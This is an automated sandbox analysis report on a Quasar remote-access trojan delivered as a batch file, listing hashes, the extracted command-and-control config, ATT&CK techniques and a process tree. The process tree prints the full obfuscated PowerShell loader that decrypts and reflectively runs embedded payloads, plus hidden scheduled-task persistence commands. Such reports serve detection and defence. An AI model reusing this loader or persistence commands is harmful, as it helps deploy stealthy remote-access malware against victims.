quasar | 06004c75186a2f0a187d10300b87540ec5bd34658841e5420b4c758e4c9ad15a

Analysis

max time kernel
1480s
max time network
1494s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
04/05/2024, 16:11

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General

Target
Client-built.bat
Size 1.6MB
Sample240504-tm529sdg34
SHA256 06004c75186a2f0a187d10300b87540ec5bd34658841e5420b4c758e4c9ad15a
MD5 13e150bd8dbd1a780991c7d0c20e7848
SHA1 2f33f150990477e9ac065e1dcac044b22924f357
SHA512 aa52e796065ebb0d2b37c3680948bce0ec8a10a8b1a57e9b0f0c2454f4deb1e2a2e0c9a199af5c18d48c0fbe7fcb814807532c42f290ad440f22b3d1fa863f53
SSDEEP 24576:tYLa0XlLG3Ubw7Kjcy2biu6YhlZHIz2IU10pfjWazgcpyDQSZjlTsM1L+onj:txUNGmwMcyhuTTeUqjJxpBaqU
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

looking-memphis.gl.at.ply.gg:45119

Mutex

7449fc1c-3e16-4f82-9cd4-9666eca50c7a

Attributes

encryption_key
41617950829C8403E84A991BFE273EF530684F0A
install_name
wsappx.exe
log_directory
Logs
reconnect_delay
3000
startup_key
startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3480-48-0x000001BC4BA60000-0x000001BC4BD84000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1740	powershell.exe
3480	powershell.exe
2180	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5100	wsappx.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\SubDir\wsappx.exe	powershell.exe
File opened for modification	C:\Windows\system32\SubDir\wsappx.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3436	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2180	powershell.exe
2180	powershell.exe
1740	powershell.exe
1740	powershell.exe
3480	powershell.exe
3480	powershell.exe
5100	wsappx.exe
5100	wsappx.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeIncreaseQuotaPrivilege	1740	powershell.exe
Token: SeSecurityPrivilege	1740	powershell.exe
Token: SeTakeOwnershipPrivilege	1740	powershell.exe
Token: SeLoadDriverPrivilege	1740	powershell.exe
Token: SeSystemProfilePrivilege	1740	powershell.exe
Token: SeSystemtimePrivilege	1740	powershell.exe
Token: SeProfSingleProcessPrivilege	1740	powershell.exe
Token: SeIncBasePriorityPrivilege	1740	powershell.exe
Token: SeCreatePagefilePrivilege	1740	powershell.exe
Token: SeBackupPrivilege	1740	powershell.exe
Token: SeRestorePrivilege	1740	powershell.exe
Token: SeShutdownPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeSystemEnvironmentPrivilege	1740	powershell.exe
Token: SeRemoteShutdownPrivilege	1740	powershell.exe
Token: SeUndockPrivilege	1740	powershell.exe
Token: SeManageVolumePrivilege	1740	powershell.exe
Token: 33	1740	powershell.exe
Token: 34	1740	powershell.exe
Token: 35	1740	powershell.exe
Token: 36	1740	powershell.exe
Token: SeIncreaseQuotaPrivilege	1740	powershell.exe
Token: SeSecurityPrivilege	1740	powershell.exe
Token: SeTakeOwnershipPrivilege	1740	powershell.exe
Token: SeLoadDriverPrivilege	1740	powershell.exe
Token: SeSystemProfilePrivilege	1740	powershell.exe
Token: SeSystemtimePrivilege	1740	powershell.exe
Token: SeProfSingleProcessPrivilege	1740	powershell.exe
Token: SeIncBasePriorityPrivilege	1740	powershell.exe
Token: SeCreatePagefilePrivilege	1740	powershell.exe
Token: SeBackupPrivilege	1740	powershell.exe
Token: SeRestorePrivilege	1740	powershell.exe
Token: SeShutdownPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeSystemEnvironmentPrivilege	1740	powershell.exe
Token: SeRemoteShutdownPrivilege	1740	powershell.exe
Token: SeUndockPrivilege	1740	powershell.exe
Token: SeManageVolumePrivilege	1740	powershell.exe
Token: 33	1740	powershell.exe
Token: 34	1740	powershell.exe
Token: 35	1740	powershell.exe
Token: 36	1740	powershell.exe
Token: SeIncreaseQuotaPrivilege	1740	powershell.exe
Token: SeSecurityPrivilege	1740	powershell.exe
Token: SeTakeOwnershipPrivilege	1740	powershell.exe
Token: SeLoadDriverPrivilege	1740	powershell.exe
Token: SeSystemProfilePrivilege	1740	powershell.exe
Token: SeSystemtimePrivilege	1740	powershell.exe
Token: SeProfSingleProcessPrivilege	1740	powershell.exe
Token: SeIncBasePriorityPrivilege	1740	powershell.exe
Token: SeCreatePagefilePrivilege	1740	powershell.exe
Token: SeBackupPrivilege	1740	powershell.exe
Token: SeRestorePrivilege	1740	powershell.exe
Token: SeShutdownPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeSystemEnvironmentPrivilege	1740	powershell.exe
Token: SeRemoteShutdownPrivilege	1740	powershell.exe
Token: SeUndockPrivilege	1740	powershell.exe
Token: SeManageVolumePrivilege	1740	powershell.exe
Token: 33	1740	powershell.exe
Token: 34	1740	powershell.exe
Token: 35	1740	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2728 wrote to memory of 2180	2728	cmd.exe	79
PID 2728 wrote to memory of 2180	2728	cmd.exe	79
PID 2180 wrote to memory of 1740	2180	powershell.exe	80
PID 2180 wrote to memory of 1740	2180	powershell.exe	80
PID 2180 wrote to memory of 1388	2180	powershell.exe	83
PID 2180 wrote to memory of 1388	2180	powershell.exe	83
PID 1388 wrote to memory of 124	1388	WScript.exe	84
PID 1388 wrote to memory of 124	1388	WScript.exe	84
PID 124 wrote to memory of 3480	124	cmd.exe	86
PID 124 wrote to memory of 3480	124	cmd.exe	86
PID 3480 wrote to memory of 3436	3480	powershell.exe	87
PID 3480 wrote to memory of 3436	3480	powershell.exe	87
PID 3480 wrote to memory of 5100	3480	powershell.exe	89
PID 3480 wrote to memory of 5100	3480	powershell.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8hCvmUeMUsWpfa3brAd/1aXMO3XXzb+pzD19egglSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AnbXoV2kRt/+OHt9Ctw2zA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hSolL=New-Object System.IO.MemoryStream(,$param_var); $AwuTV=New-Object System.IO.MemoryStream; $lIACA=New-Object System.IO.Compression.GZipStream($hSolL, [IO.Compression.CompressionMode]::Decompress); $lIACA.CopyTo($AwuTV); $lIACA.Dispose(); $hSolL.Dispose(); $AwuTV.Dispose(); $AwuTV.ToArray();}function execute_function($param_var,$param2_var){ $VJZfC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QcciT=$VJZfC.EntryPoint; $QcciT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$PAvjd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($WWBou in $PAvjd) { if ($WWBou.StartsWith(':: ')) { $YuNLm=$WWBou.Substring(3); break; }}$payloads_var=[string[]]$YuNLm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_361_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_361.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1740
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_361.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_361.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8hCvmUeMUsWpfa3brAd/1aXMO3XXzb+pzD19egglSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AnbXoV2kRt/+OHt9Ctw2zA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hSolL=New-Object System.IO.MemoryStream(,$param_var); $AwuTV=New-Object System.IO.MemoryStream; $lIACA=New-Object System.IO.Compression.GZipStream($hSolL, [IO.Compression.CompressionMode]::Decompress); $lIACA.CopyTo($AwuTV); $lIACA.Dispose(); $hSolL.Dispose(); $AwuTV.Dispose(); $AwuTV.ToArray();}function execute_function($param_var,$param2_var){ $VJZfC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QcciT=$VJZfC.EntryPoint; $QcciT.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_361.bat';$PAvjd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_361.bat').Split([Environment]::NewLine);foreach ($WWBou in $PAvjd) { if ($WWBou.StartsWith(':: ')) { $YuNLm=$WWBou.Substring(3); break; }}$payloads_var=[string[]]$YuNLm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3480
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "startup" /sc ONLOGON /tr "C:\Windows\system32\SubDir\wsappx.exe" /rl HIGHEST /f
        6⤵
        Creates scheduled task(s)
        
        PID:3436
      - C:\Windows\system32\SubDir\wsappx.exe
        
        "C:\Windows\system32\SubDir\wsappx.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
MD5 df472dcddb36aa24247f8c8d8a517bd7
SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636
MD5 eb15ee5741b379245ca8549cb0d4ecf8
SHA1 3555273945abda3402674aea7a4bff65eb71a783
SHA512 1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4
MD5 SHA1 SHA512

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__PSScriptPolicyTest_1g3dej0z.zvh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1g3dej0z.zvh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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startup_str_361.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_361.bat
Size 1.6MB
SHA256 06004c75186a2f0a187d10300b87540ec5bd34658841e5420b4c758e4c9ad15a
MD5 13e150bd8dbd1a780991c7d0c20e7848
SHA1 2f33f150990477e9ac065e1dcac044b22924f357
SHA512 aa52e796065ebb0d2b37c3680948bce0ec8a10a8b1a57e9b0f0c2454f4deb1e2a2e0c9a199af5c18d48c0fbe7fcb814807532c42f290ad440f22b3d1fa863f53
SSDEEP 24576:tYLa0XlLG3Ubw7Kjcy2biu6YhlZHIz2IU10pfjWazgcpyDQSZjlTsM1L+onj:txUNGmwMcyhuTTeUqjJxpBaqU
MD5 SHA1 SHA512 SSDEEP

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startup_str_361.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_361.vbs
Size 115B
SHA256 ff0afef8e8db01a52e5cc66736427409634ee47678e596d287362682416705a2
MD5 53ab6557719a1ac4a766ffa542b6cb57
SHA1 f0ec7d3ac3c08f5ab9152b5c79669b42809c311f
SHA512 e47121bb36d5cfe054de243432fa73689daba0106e9f8b9856654a142bc03367c0975d7b230dbe856fbc2289c8ae5cf3264e5ba047da7ccb11be1556501d76a9
MD5 SHA1 SHA512

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wsappx.exe

Path C:\Windows\System32\SubDir\wsappx.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/1740-26-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/1740-27-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/1740-24-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/1740-25-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/1740-30-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/2180-13-0x0000027FACDD0000-0x0000027FACDD8000-memory.dmp

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memory/2180-0-0x00007FFA379F3000-0x00007FFA379F5000-memory.dmp

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memory/2180-14-0x0000027FC53D0000-0x0000027FC5502000-memory.dmp

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memory/2180-12-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/2180-11-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/2180-10-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/2180-9-0x0000027FC50C0000-0x0000027FC50E2000-memory.dmp

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memory/2180-62-0x00007FFA379F0000-0x00007FFA384B2000-memory.dmp

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memory/2180-63-0x00007FFA379F3000-0x00007FFA379F5000-memory.dmp

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memory/3480-48-0x000001BC4BA60000-0x000001BC4BD84000-memory.dmp

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memory/5100-61-0x00000294C2A20000-0x00000294C2A66000-memory.dmp

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